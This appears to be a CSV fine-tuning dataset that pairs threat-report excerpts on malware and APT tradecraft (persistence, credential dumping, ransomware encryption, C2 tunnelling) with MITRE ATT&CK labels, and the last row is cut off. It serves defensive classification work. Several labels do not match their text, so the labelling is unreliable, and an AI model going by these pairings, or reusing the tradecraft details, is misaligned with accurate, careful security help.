"The PowerShell script employs several layers of obfuscation to hide its actual functionality. In addition to obfuscation techniques, it also has the ability to detect security tools on the analysis machine, and can also shut down the system if it detects the presence of such tools",['T1027 - Obfuscated Files or Information'],fine_tune
"When run, the first thing the script does is to retrieve a GUID associated to a LAN connection present on the machine by leveraging the interface offered by the WMI Class Root\Microsoft\Homenet\HNet_Connection. If a LAN connection is not available, the script defaults to a hardcoded GUID. This GUID is later communicated to the C2. It’s possible that the threat actor used this GUID to verify that the threat is running in a desirable environment, i.e. a real machine with LAN connections available",['T1049 - System Network Connections Discovery'],fine_tune
"In one instance, the threat actor gained remote access to a high-value system in a compromised network, ran quser.exe to identify existing RDP sessions on the device, immediately ran a command to compile a RAR archive that specified file types the threat actor did not want, and used a password to encrypt the archive","['T1119 - Automated Collection', 'T1005 - Data from Local System']",fine_tune
"The actors have regularly leveraged Cobalt Strike BEACON and Metasploit Meterpreter to move laterally within victim environments. The actors commonly moved laterally within victim environments using compromised accounts—both those belonging to regular users and accounts with administrative privileges. In addition to the use of common post-exploitation frameworks, lateral movement has also been achieved using WMIC commands and the Windows RDP and SMB protocols. The actors used the Windows net use command to connect to Windows admin shares to move laterally",['T1078.002 - Domain Accounts'],fine_tune
Whitefly usually attempts to remain within a targeted organization for long periods of time—often months—in order to steal large volumes of information. It keeps the compromise alive by deploying a number of tools that facilitate communication between the attackers and infected computers,['T1059 - Command and Scripting Interpreter'],fine_tune
"The binary will be saved in the %APPDATA% folder and, for persistence, it creates a scheduled task that will execute every hour",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
By gaining access to the configuration panel the attackers configured the Apache web server and started using the router as a proxy server between the organization’s corporate and restricted segments,['T1090.001 - Proxy: Internal Proxy'],fine_tune
"USB Worm -&gt; this is the USBWorm component developed for stealing files from removable drives, spread across systems by infecting removable media, and download and execute the “Thin Client” component from a remote Crimson server",['T1091 - Replication Through Removable Media'],fine_tune
"GetST.py: Given a password, hash, aesKey or TGT in ccache, this script will request a Service Ticket and save it as ccache. If the account has constrained delegation (with protocol transition) privileges you will be able to use the -impersonate switch to request the ticket on behalf another user. GetPac.py: This script will get the PAC (Privilege Attribute Certificate) structure of the specified target user just having a normal authenticated user credentials. It does so by using a mix of [MS-SFU]’s S4USelf + User to User Kerberos Authentication. GetUserSPNs.py: This example will try to find and fetch Service Principal Names that are associated with normal user accounts. Output is compatible with JtR and HashCat. GetNPUsers.py: This example will attempt to list and get TGTs for those users that have the property ‘Do not require Kerberos preauthentication’ set (UF_DONT_REQUIRE_PREAUTH). Output is compatible with JtR. ticketConverter.py: This script will convert kirbi files, commonly used by mimikatz, into ccache files used by Impacket, and vice versa. raiseChild.py: This script implements a child-domain to forest privilege escalation by (ab)using the concept of Golden Tickets and ExtraSids",['T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting'],fine_tune
"Creates events ""__klg__"" and ""__klgkillsoft__"" to act as mutexes and facilitate self-removal. Installs itself to %APPDATA%\Intel Corporation\IAStorIcon.exe. Creates an entry in the user's Startup folder for persistence. Uses the SetWindowsHookExW API function to capture keystrokes system-wide. Formats and writes the keylogger output to %APPDATA%\Update\Tmp\k%d.txt, where %d is the current system tick count",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"The dropper has its encrypted payload embedded as an overlay of a PE file as extra data that will never be used in normal execution steps. Its decryption routine, part of an executable physical patch, begins somewhere between the start() and WinMain() functions. A fun fact is that the malware authors embedded their malicious code into a binary that was a harmless executable",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Another component used by this group is a variant of TerraTV. It runs a legitimate TeamViewer application but hides its user interface elements, so that the operators of the malware can connect to the compromised computer undetected",['T1219 - Remote Access Software'],fine_tune
"It creates a socket, requests the address of the hardcoded C2 server ""win-restore.ru"" via gethostbyname() and connects to it. Thereafter, it also collects the volume serial number of C:\ drive, the computer name and the hardware profile GUID. With this information, it creates the following string used by a subsequent send() function call",['T1082 - System Information Discovery'],fine_tune
This is the final payload that has been deployed as a service using svchost.exe. This Rat is heavily obfuscated and is using multiple anti-analysis techniques. It has a custom section named “qwdfr0” which performs all the de-obfuscation process. This payload register itself as a service using its export function ServiceMain,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"In previous attacks, we were able to determine the impacted organization based on the domain names and credentials used by the Disttrack tool to spread to other systems on the network. However, that functionality was missing from this sample. Unlike past Shamoon attacks, this particular Disttrack wiper would not overwrite files with an image. Instead it would overwrite the MBR, partitions, and files on the system with randomly generated data",['T1485 - Data Destruction'],fine_tune
"Since 2014, Inception has widened its use of cloud service providers for C&amp;C purposes. Whereas previously it relied on one service provider (CloudMe.com), more recently it has employed a least five cloud service providers",['T1102 - Web Service'],fine_tune
"The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Instead, this attack involved delivering the OopsIE Trojan directly to the victim, most likely using a link in a spear phishing email. A New Attack On January 8, 2018, the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East. The OilRig group sent two emails to two different email addresses at the same organization within a six minutes time span. The recipient email addresses suggest they may be the addresses used for specific regional branches of the targeted organization. However, based upon the captured session data, it is highly likely the source email address was spoofed. The email contained an attachment named Seminar-Invitation.doc, which is a malicious Microsoft Word document we track as ThreeDollars. In this case, the ThreeDollars delivery document was not used and instead an attempt was made to deliver the OopsIE Trojan directly to the targeted organization, likely via a link within an email. While this is not a new tactic, this is the first instance where we have observed the OilRig using it in their playbook. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Once initiated the agent proceeds to enumerate the infected machine using Windows Management Instrumentation (WMI) to obtain the following information,['T1047 - Windows Management Instrumentation'],fine_tune
"After trying to determine whether ports are open and the machine could act as a C2 tier 2 proxy, the proxy module also starts a multithreaded SOCKS5 proxy server. The SOCKS5 protocol is encapsulated into the QakBot proxy protocol composed of: QakBot proxy command (1 byte), version (1 byte), session id (4 bytes), total packet length (dword), data (total packet length-10). Incoming and outgoing packets are stored in the buffers and may be received/transmitted one by one or in multiple packets in a single TCP data segment (streamed",['T1572 - Protocol Tunneling'],fine_tune
"The core component will check whether it is located in the %temp%\[appname] directory, otherwise it copies itself to %temp%\[appname]\[appname] and set the file attribute to hidden",['T1083 - File and Directory Discovery'],fine_tune
"First, the malware checks for the existence of a Mutex value, “EKANS”, on the victim. If present, the ransomware will stop with a message “already encrypted. Otherwise, the Mutex value is set and encryption moves forward using standard encryption library functions. Primary functionality on victim systems is achieved via Windows Management Interface (WMI) calls, which begins executing encryption operations and removes Volume Shadow Copy backups on the victim",['T1486 - Data Encrypted for Impact'],fine_tune
Function and variable names are obfuscated. Strings are encrypted. Contain an encrypted .NET injector and one or more encrypted PE payloads. Take one argument that is the decryption key for the embedded .NET injector and PE payload(s). - Embedded .NET injector and payload(s) are encoded with Base64 and encrypted with Rijndael,['T1027 - Obfuscated Files or Information'],fine_tune
"All of the attacks involved spear-phishing emails to deliver malicious documents that required the recipient to carry out some action. The payload in a majority of these attacks was a backdoor called Spark, which is a backdoor that allows the threat actors to open applications and run command line commands on the compromised system","['T1204.001 - Malicious Link', 'T1204.002 - User Execution: Malicious File']",fine_tune
"We can also see files created in a TEMP folder that are serving as a small database, where Dyreza stores information, before they are sent to the C&amp;C",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"Forensic analysis indicates that many of these tools were executed during the timeframe in which the actor was accessing the system. Of note, the threat actors installed Python 2.7 on a compromised host of one staging victim, and a Python script was seen at C:\Users\&lt;Redacted Username&gt;\Desktop\OWAExchange",['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
"To ensure that the compromised system is unable to restore from backup, REvil deletes shadow copies and disables recovery mode by executing the following command via ShellExecute. The length and uniqueness of this command allow for the development of high-fidelity detection controls",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"an “object_id” that is a unique uuid used to identify the victim, when the value is not set in the file, it is generated randomly by the malware - a list of processes into which code is injected (iproc) - the frequency and time for task execution / backup logs / connection to the C&amp;C ([TIME]) - the IP addresses of other computers on the network ([CW_LOCAL]) - the C&amp;C server addresses ([CW_INET]) - the named pipes used to communicate with the injected library and with the other computers ([TRANSPORT",['T1016 - System Network Configuration Discovery'],fine_tune
"Throughout our investigation, many of the analyzed ZeroT RAR SFX samples (e.g. 67693ddb6236d3ef790059409ae240212c47acfd8c1c76d65c3ef19096fdf43b) contained a file named Go.exe which performs Windows UAC bypass. This executable contains a PDB path indicating its purpose of bypassing UAC (Fig",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"The ‘microsoft-cache’ domain was used by the malware variant that communicated over HTTP. We found four unique samples communicating with this domain, which resolved to the same Hong Kong-based IP address used by the first two domains",['T1016 - System Network Configuration Discovery'],fine_tune
"When the Trojan runs as an executable within the ""DsvHelper"" folder, the Trojan will create a shortcut (.lnk file) and save the shortcut to the 'DsvHelper' folder. The embedded payload written to process memory exists in the ""R"" resource and called function in the new payload is named ""RPe.Test.Work"". The function will take another executable embedded in the initial Trojan as a resource named ""M"", which it attempts to inject into the following process to execute: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe While it's configured to inject into cvtres.exe, the Trojan is also capable of injecting its code into the following process as well: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"These encrypted blobs are dropped to C:\Users\user\AppData\Local\Temp\3f34a.tmp one after the other. Once they are dropped, the dropper also decrypts them and writes them to a newly created folder and creates persistence",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"It iterates over all possible Office &lt;version&gt; values for both Word and Excel &lt;product&gt; values. It then scans for documents with valid Word or Excel file extensions on all drives connected to the system. The malware moves each located document into the AppData folder, inserts malicious Word or Excel macros into it using a Microsoft.Office.Interop object, and then moves the document back into its original folder. In the samples we analyzed, the injected macros were simple downloaders",['T1080 - Taint Shared Content'],fine_tune
"PwDumpVariant: This tool imports lsremora.dll (often downloaded by the attacker as part of the toolset) and uses the GetHash export of this DLL. On execution, the tool injects itself into lsass.exe and is triggered with the argument “dig",['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
"The developer rewrote a large part of the code however the workflow is the same as previously and some features are copy/paste. The biggest change is the network communication with the C2 server. The malware does not use a raw socket anymore but all the communications are performed with WinInet. The malware performs connection to the C2 server by using InternetOpenA() with an hardcoded User-Agent: ""Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322"". Note the missing parenthesis at the end of the User-Agent. This variant has exactly the same features as the previous variant: file listing, OS version getting, process killing, drive listing, execution via ShellExecuteW(), execution via named pipe, cleaning, file removal, file downloading. Here is an example of code similarities on the execution via named pipe function. On the left a sample from Bisonal 2014 and on the right Bisonal 2011. The code is not exactly the same but the workflow and some constants are similar",['T1573.001 - Symmetric Cryptography'],fine_tune
"Cardinal RAT is deployed using an interesting technique of compiling and executing a downloader via a malicious macro embedded within a Microsoft Excel file. The Excel files themselves contain lures that have financial themes. This threat has had a low volume of samples in the past two years, with 11 instances of Carp Downloader and 27 instances of Cardinal RAT observed",['T1204.002 - User Execution: Malicious File'],fine_tune
The first thread is responsible for taking a screenshot of the desktop of the victim machine. This screenshot data is both compressed and encrypted using a single-byte xor key of 0x5F. This data is written to one of the following files,['T1113 - Screen Capture'],fine_tune
"Once the ""instal.xml"" file began execution, it would deobfuscate the base64-encoded commands. This revealed a stager, or a small script designed to obtain an additional payload. One notable difference is that this particular stager included functionality that allowed the stager to communicate with the command and control (C2) via an encrypted RC4 byte stream. A copy of the deobfuscated stager can be seen in the image below",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"The group used Ruler to configure a specially crafted Outlook Home Page URL to exploit the security bypass vulnerability CVE-2017-11774, which was fixed shortly after it was discovered. Successful exploitation automatically triggered remote code execution of a script when an Outlook client synced with a mailbox and rendered the profile Home Page URL. These scripts, usually VBScript followed by PowerShell, in turn initiated the delivery of various payloads",['T1203 - Exploitation for Client Execution'],fine_tune
"If this is successful, the malware creates a :0 alternate data stream in the executable and copies the executable’s own contents to the stream. This can be used to restore the executable later. Then the malware replaces the contents of the executable with a copy of itself and launches the service. The file modified time of the executable is also artificially changed to 00:00:00 UTC. The purpose of this time change is so the file can be identified and restored by the decryption tool",['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
DNS Monitoring Bypass The malware modifies the system DNS resolvers and uses Google’s public DNS servers to avoid being detected by DNS monitoring tools,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"Since the discovery of the {A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll backdoor and its public analysis by multiple researchers, we observed some changes in the malware’s configuration data. First, the authors started removing the names from the helper DLLs (DNSprov.dll and the two versions of HttpProv.dll). Then the operators stopped packaging the third DLL (second version of HttpProv.dll), choosing to embed just one",['T1082 - System Information Discovery'],fine_tune
"1) Using the compromised SolarWinds DLL to activate a backdoor that enables attackers to remotely control and operate on a device 2) Using the backdoor access to steal credentials, escalate privileges, and move laterally to gain the ability to create valid SAML tokens using any of two methods: Stealing the SAML signing certificate (Path 1) Adding to or modifying existing federation trust (Path 2) 3) Stealing the SAML signing certificate (Path 1) 4) Adding to or modifying existing federation trust (Path 2) 5) Using attacker-created SAML tokens to access cloud resources and perform actions leading to the exfiltration of emails and persistence in the cloud",['T1047 - Windows Management Instrumentation'],fine_tune
"The scripts themselves could be easily extracted and decompiled out of the binaries using uncompyle. The decompiled scripts employed some visual obfuscation techniques by naming variables as combinations of the characters ‘o’, ‘O’, and ‘0’ to hinder analysis. In-depth analysis of the scripts showed the group employed AES in CBC mode using a predefined static key to encrypt files before uploading them to the C2 server",['T1027 - Obfuscated Files or Information'],fine_tune
"One of the documents spreads what analysts are calling SQLRat, previously unseen malware that drops files and executes SQL scripts on the host system. The use of SQL scripts is ingenious in that they don’t leave artifacts behind the way traditional malware does. Once they are deleted by the attackers’ code, there is nothing left to be forensically recovered. This technique has not been observed in previous campaigns associated with FIN7",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"The ‘vsnet’ plugin was intended to spread and launch a payload (BlackEnergy2 dropper itself at the moment) in the local network by using PsExec, as well as gaining primary information on the user’s computer and network. It was a ddos tool compiled to run on ARM systems",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
Using Frame1_Layout for macro execution and using lesser known API calls for shellcode execution is known to be used by Lazarus. We also were able to find infrastructure overlap between this campaign and past campaigns of Lazarus (Figure 19,['T1106 - Native API'],fine_tune
"Skidmap also sets up a way to gain backdoor access to the machine. It does this by having the binary add the public key of its handlers to the authorized_keys file, which contains keys needed for authentication",['T1098.004 - SSH Authorized Keys'],fine_tune
Kwampirs uses a fairly aggressive means to propagate itself once inside a victim's network by copying itself over network shares,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"When we deploy any web browser, it directly injects the code into its process and deploys illegitimate connections.It is the way to keep in touch with the C&amp;C, monitor user’s activity and steal credentials",['T1055 - Process Injection'],fine_tune
"In order to exfiltrate data from a network segment not connected to the Internet, the threat actor deployed a modified version of hTran. This ‘connection bouncer’ tool lets the threat actor redirect ports and connections between different networks and obfuscate C2 server traffic. There have been numerous reports of hTran being used by different Chinese threat actors, including: APT3, APT27 and DragonOK",['T1090.002 - External Proxy'],fine_tune
"Each web shell instance is configured to contain SP, Key, and Log variables. When the malicious ISAPI filter captures a username matching this variable, it knows to handle the incoming HTTP request as a command to the web shell. The DES key to encrypt the credentials in the configuration observed by CTU researchers is 12345678, and the log file is c:\log.txt. The decrypted contents of the log file adhere to the format in Figure 22",['T1560.003 - Archive via Custom Method'],fine_tune
"The original sample involved in the forbes.com breach used HTTP, which is consistent with the original variant discussed in this blog post. It should be noted that while the newest variant that uses direct network communication over port 22 no longer uses HTTP, references to the HTTP strings are still found within the sample itself. This is most likely due to code re-used by the attackers",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"Some of BRONZE PRESIDENT's malware has persistence capabilities. For example, ORat uses a WMI event consumer to maintain its presence on a compromised host. The group also creates and maintains scheduled tasks to achieve this purpose. Figure 8 shows a Sysdriver scheduled task that periodically executes a Cobalt Strike payload",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"Compromise website of strategic importance (e.g. websites visitors have a higher likelihood to be targets of interest) - Add one or more webshell backdoors to victim websites to maintain persistence - Webshell used to add JavaScript developed by OceanLotus into the website - The malicious JavaScript makes calls over HTTP or HTTPS to attacker controlled domains to typically load one of two different OceanLotus frameworks - OceanLotus JavaScript frameworks designed to track, profile, and target the compromised website's visitors - Website visitors of interest are flagged for targeting and receive special JavaScript aimed at compromising the user's system or e-mail accounts",['T1105 - Ingress Tool Transfer'],fine_tune
"Once decrypted, the backdoor takes a fingerprint of the system. It sends home various data, such as the computer and user names and the operating system version, before waiting for commands to carry out its main mission",['T1082 - System Information Discovery'],fine_tune
"Make a unique filename. This useful utility is widely used by malware to make random, unique file and directory names for payloads. Despite the name, mktemp does not have to be used only in the /tmp directory","['T1564 - Hide Artifacts', 'T1564 - Hide Artifacts']",fine_tune
We discovered that TeamTNT gained initial access with the Hildegard malware by executing commands on kubelets that allow anonymous access. This was achieved by accessing the kubelet’s run command API and executing commands on running containers,"['T1133 - External Remote Services', 'T1609 - Kubernetes Exec Into Container', 'T1609 - Kubernetes Exec Into Container']",fine_tune
"The Leeson, Neoichor, and NumbIdea malware families typically use the Internet Explorer (IE) COM interface to connect and receive commands from hardcoded C2 servers. Due to their reliance on IE, these malware families intentionally configure the browser settings by modifying the following registry entries","['T1112 - Modify Registry', 'T1071.001 - Application Layer Protocol: Web Protocols']",fine_tune
"We also identified a Tomiris variant (internally named “SBZ”, MD5 51AA89452A9E57F646AB64BE6217788E) which acts as a filestealer, and uploads any recent file matching a hardcoded set of extensions (.doc, .docx, .pdf, .rar, etc",['T1005 - Data from Local System'],fine_tune
"The files are encrypted with a randomly generated 128-bit AES key in CBC mode with a NULL initialization vector. The key is generated per file, is encrypted with the generated RSA public key, and included in the encrypted file header. Each file encrypted by the malware starts with the string WANACRY. and has the WNCRY extension. Depending on the file properties, the malware may also stage files in a WNCRYT extension",['T1083 - File and Directory Discovery'],fine_tune
"Once TrickBot verifies it can connect to the Internet, it communicates with C2 servers, some of which using TOR-related domains. It collects and sends information about where the target machine is located to the C2 servers",['T1008 - Fallback Channels'],fine_tune
"In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server. The first byte of the string is used as the XOR key to in turn decode the remainder of the data",['T1082 - System Information Discovery'],fine_tune
"In multiple instances, the threat actors created new accounts on the staging targets to perform cleanup operations. The accounts created were used to clear the following Windows event logs: System, Security, Terminal Services, Remote Services, and Audit. The threat actors also removed applications they installed while they were in the network along with any logs produced. For example, the Fortinet client installed at one commercial facility was deleted along with the logs that were produced from its use. Finally, data generated by other accounts used on the systems accessed were deleted","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1070.001 - Indicator Removal on Host: Clear Windows Event Logs']",fine_tune
OverWatch continued to track the threat actor’s malicious behavior as they downloaded additional scripts and then executed a Base64-encoded command via PowerShell1 to retrieve malware from their toolkit,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Following the reconnaissance phase, the threat actor attempted to dump credentials stored on the compromised machines. The most common credential stealing tool used by the threat actor was a modified mimikatz that dumps NTLM hashes. This version of mimikatz did not require any command line arguments, most likely in an attempt to avoid detection based on command-line auditing. The dumped hashes were used to authenticate to other machines via pass the hash",['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
"After gaining access to the victim’s environment (presumably by using stolen credentials, either obtained via phishing, or bought on the dark web), the attacker sets up remote tunnelling using a SSH tool. The tool is configured to redirect traffic from a malicious domain to a proxy that is listening on a local port. The tunnel is authenticated using the attacker’s private key",['T1572 - Protocol Tunneling'],fine_tune
FoggyWeb is a passive and highly targeted backdoor capable of remotely exfiltrating sensitive information from a compromised AD FS server. It can also receive additional malicious components from a command-and-control (C2) server and execute them on the compromised server,"['T1041 - Exfiltration Over C2 Channel', 'T1105 - Ingress Tool Transfer']",fine_tune
"In at least two incident response (IR) engagements, Blue Mockingbird has exploited public-facing web applications (T1190: Exploit Public-Facing Application) that implemented Telerik UI for ASP.NET AJAX. This suite of user interface components accelerates the web development process, but some versions are susceptible to a deserialization vulnerability, CVE-2019-18935. The exploitation of this CVE is not unique to Blue Mockingbird, but it has been a common point of entry",['T1190 - Exploit Public-Facing Application'],fine_tune
"Lately, the configuration mechanism has been changed and is now stored in the Windows Registry at HKCU\Software\ under keys with names like %USERNAME% and ToolTech-RM. Those names, as well as the names of values they contain, change frequently, but the information contained consists of",['T1112 - Modify Registry'],fine_tune
Most of the initial payloads in these campaigns are signed with valid certificates to evade security tools. They abuse the relative trust that is given to signed binaries to avoid detection,['T1553.002 - Code Signing'],fine_tune
"In 2020, Pawn Storm often tries to obfuscate these brute force attempts by routing their attack traffic over Tor and VPN servers. In a Microsoft article about brute-forcing Office365 credentials over Tor, Microsoft attributed the activities to Strontium, which is another name for Pawn Storm. These brute force attacks started in 2019, and then we could firmly attribute them to Pawn Storm because we could cross-relate the extensive probing of Microsoft Autodiscover servers around the world with high-confidence indicators of the group’s more traditional attack methods (spear phishing and credential phishing",['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
"The ROKRAT samples used during the two ""Evil New Year"" and the ""North Korean Human Rights"" campaigns contained a reconnaissance phase. The malware uses the following registry key to get the machine type: HKLM\System\CurrentControlSet\Services\mssmbios\Data\SMBiosData. The ""System manufacturer"" value is used to identify the type of machine. The source code only considers the following machine types",['T1012 - Query Registry'],fine_tune
The DNS response will return a CNAME record that points to a Command and Control (C2) domain. The C2 traffic to the malicious domains is designed to mimic normal SolarWinds API communications,['T1071.004 - Application Layer Protocol: DNS'],fine_tune
"The actors leveraged publicly available utilities Adfind, BLOODHOUND, SHARPHOUND, and KERBRUTE on victim networks to collect Active Directory information and credentials. WMIC commands have been used to perform host reconnaissance, including listing installed software, listing running processes, and identifying operating system and system architecture. The actors have used a batch script to ping all servers identified during Active Directory enumeration and output the results to res.txt. The actors used the Nltest command to list domain controllers",['T1018 - Remote System Discovery'],fine_tune
"For example, the following sample loads the malware as shellcode within a .NET Framework project using msbuild.exe, effectively bypassing application allowlisting techniques",['T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild'],fine_tune
"If elevated privileges are not obtained, the malware falls back to using the same Windows registry run key as the older mode variant for persistence HKCU\Software\Microsoft\Windows\CurrentVersion\Run. However, if the malware is successful in elevating privileges, it begins to enumerate existing Windows services on the host that are configured to run as LocalSystem. The malware selects services that are currently not active and ignores services that launch the executables svchost.exe and lsass.exe. For each service, the malware attempts to take control of the service’s executable — first using icacls.exe with the /reset flag to reset the executable’s permissions, then using takeown.exe with the /F flag to take ownership of the executable",['T1007 - System Service Discovery'],fine_tune
"Microsoft by default disables the dynamic execution of the macro, and if an attacker needs to execute one dynamically—which is the case here—the threat actor needs to bypass the VB object model (VBOM) by modifying its registry value",['T1112 - Modify Registry'],fine_tune
"After exploiting these vulnerabilities to gain initial access, HAFNIUM operators deployed web shells on the compromised server. Web shells potentially allow attackers to steal data and perform additional malicious actions that lead to further compromise. One example of a web shell deployed by HAFNIUM, written in ASP, is below",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"This INI file is parsed to determine what Comnie should do. Comnie allows the attacker to provide and subsequently execute a batch script (BAT), executable file (EXE), or dynamic-link library (DLL). Using this example, Comnie will then request data to supply to the BAT script, via the following decrypted request: h=HOSTNAME-PC&amp;f=gethostinfo.bat&amp;c=&amp; Based on network traffic witnessed, the remote C2 server was found to respond with the following information",['T1119 - Automated Collection'],fine_tune
"The samples analyzed are packed with UPX. The UPX header has been modified to break the unpacker provided by the UPX project. Instead of having the “UPX. string, it has been replaced with “LSD. Repairing the header is needed to unpack the samples using the unpacker provided by the UPX team",['T1027 - Obfuscated Files or Information'],fine_tune
"According to Group-IB's Threat Intelligence &amp; Attribution system, the alleged database was published on a fraudulent resource known for reselling data that has been published on various data-leak websites. Compromise of Air India's network In mid-February 2021, Group-IB's Threat Intelligence &amp; Attribution system detected infected devices that were part of Air India's computer network. Starting from at least February 23, 2021, a device inside the company's network communicated with a server with the IP address 185[.]118[.]166[.]66. The threat actor collected information inside the local network, including names of network resources and their addresses. Below are examples of commands that were used for lateral movement: . The name of the campaign, ColunmTK, is derived from these initially discovered domains. ColunmTK Timeline Connections with APT41 Group-IB researchers believe with moderate confidence that the ColunmTK campaign was carried out by APT41, a prolific Chinese-speaking nation-state threat actor. According to Group-IB's Threat Intelligence &amp; Attribution system, the threat actor has been active since at least 2007. This IP address was used as an A record for two domains: server04[.]dns04[.]com and service04[.]dns04[.]com. The IP address was also used to host the Cobalt Strike framework and shared an SSL certificate, b3038101fd0e8b11c519f739f12c7e9b60234d3b, with ColunmTK's IP address 185[.]118[.]166[.]66. The file is very similar to one used by APT41 in a different campaign described by FireEye researchers",['T1049 - System Network Connections Discovery'],fine_tune
"Qualys Threat Research has identified a new Lazarus campaign using employment phishing lures targeting the defence sector. The identified variants target job applicants for Lockheed Martin. This blog details the markers of this campaign, including macro content, campaign flow and phishing themes of our identified variants and older variants that have been attributed to Lazarus by other vendors",['T1083 - File and Directory Discovery'],fine_tune
It then issues a SOAP request to delete the processed email. This completes the process in which the payload receives inbound communications from the actor,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Now the virtual environment is prepared, the install.bat command goes through a list of process names and terminates these processes so any files they have open are unlocked and become accessible for encryption. This list of 50 entries consists of mainly line-of-business applications, database, remote management and backup applications and is stored in a text file. Another text file contains services names. These are tailored to the victim organization’s network environment, including process and service names belonging to endpoint protection software",['T1489 - Service Stop'],fine_tune
"Prior to 2014, IRON LIBERTY used custom malware, primarily Sysmain, Havex, and xFrost (now known as Karagany), combined with commodity penetration testing and tools",['T1189 - Drive-by Compromise'],fine_tune
"The Bluetooth functionality in Flamer is encoded in a module called ""BeetleJuice"". This module is triggered according to configuration values set by the attacker. This means that a computer compromised by W32.Flamer will appear when any other Bluetooth device scans the local area. In addition to enabling a Bluetooth beacon, Flamer encodes details about the infected computer (see Figure 1) and then stores these details in a special 'description' field. When any other device scans for Bluetooth-enabled devices, this description field will be displayed: These are the facts of how Flamer uses Bluetooth. The attacker, however, could identify the location of compromised devices using Bluetooth. The Beetlejuice module already has retrieved a list of all the devices IDs which are near to the infected computer and so the attacker knows what devices belong to the victim. Some attacks have even identified Bluetooth devices more than one mile away. With increase functionality an attacker, having identified various Bluetooth devices in range, could perform numerous attacks: - Steal contacts from an address book, steals SMS messages, steals images, and more. An attacker within one mile of the target could use their own Bluetooth-enabled device for this. If the second computer is using a secured network and was infected through a USB connection, potentially the only network available would be a Bluetooth connection back to the first compromised computer",['T1011.001 - Exfiltration Over Bluetooth'],fine_tune
The SysInfo plugin runs a selection of basic reconnaissance commands on the victim's machine via a cmd.exe process,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"To compress the data, GetFrame() invokes the Common.Compress() method, which is used to compress the data by leveraging the C# GZipStream compression class",['T1560.002 - Archive Collected Data: Archive via Library'],fine_tune
"On top of this configuration change, this sample does not use the libcurl library for network exfiltration. Instead, it uses an external library. To locate it, the backdoor tries to decrypt each file in the current directory using AES-256-CBC with the key gFjMXBgyXWULmVVVzyxy padded with zeroes. Each file is “decrypted” and saved as /tmp/store and an attempt to load it as a library made using the dlopen function. When a decryption attempt results in a successful call to dlopen, the backdoor then retrieves the exported functions Boriry and ChadylonV, which seem to be responsible for the network communication with the server. As we do not have the dropper or other files from the original sample’s location, we could not analyse this library. Moreover, since the component is encrypted, a YARA rule based on these strings would not match the file found on disk",['T1027 - Obfuscated Files or Information'],fine_tune
"FIVEHANDS uses an embedded NTRU public key. This NTRU key is SHA512 hashed and the first 32 bytes are used as the victim ID within the ransom note. This NTRU pubic key is also used to encrypt each file's symmetric key. For the symmetric key, FIVEHANDS uses an embedded generation routine to produce 16 random bytes used for an AES key to encrypt each file. After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public NTRU key and appended to the file. The four magic bytes DB DC CC AB are appended to the end of the encrypted file. FIVEHANDS includes additional code not found in DEATHRANSOM and HELLOKITTY to use the Windows Restart Manager to close a file currently in use so that it can be unlocked and successfully encrypted",['T1486 - Data Encrypted for Impact'],fine_tune
The Seedworm group controls its Powermud backdoor from behind a proxy network to hide the ultimate command-and-control (C&amp;C) location. The Seedworm group is the only group known to use the Powermud backdoor,['T1090.002 - External Proxy'],fine_tune
"While we do not have data supporting targeting information or telemetry, we know the document was created in January 2018 and likely used in an attack around that time frame. The QUADAGENT payload dropped by the delivery document had the filename AdobeAcrobatLicenseVerify.ps1 and used acrobatverify[.]com for its C2. This IP and msoffice-cdn[.]com were both previously referenced in our first report on an OilRig attack using the ThreeDollars delivery document. We used this QUADAGENT payload when testing the Invoke-Obfuscation tool mentioned in this blog. QUADAGENT Analysis The final payload delivered in all three attack waves is a PowerShell downloader referred to by other research organizations as QUADAGENT. The downloaders in these attacks were configured to use both rdppath[.]com and cpuproc[.]com as their C2 servers. When communicating with its C2 server, the downloaders use multiple protocols, specifically HTTPS, HTTP or DNS, each of which provide a fallback channel in that order. For instance, the downloader will first attempt to communicate with its C2 server using an HTTPS request. Lastly, if the HTTP request is not successful, the downloader will fallback to using DNS tunneling to establish communications. We provide more on the specific usage of these protocols as we discuss the inner workings of this malware in this section",['T1008 - Fallback 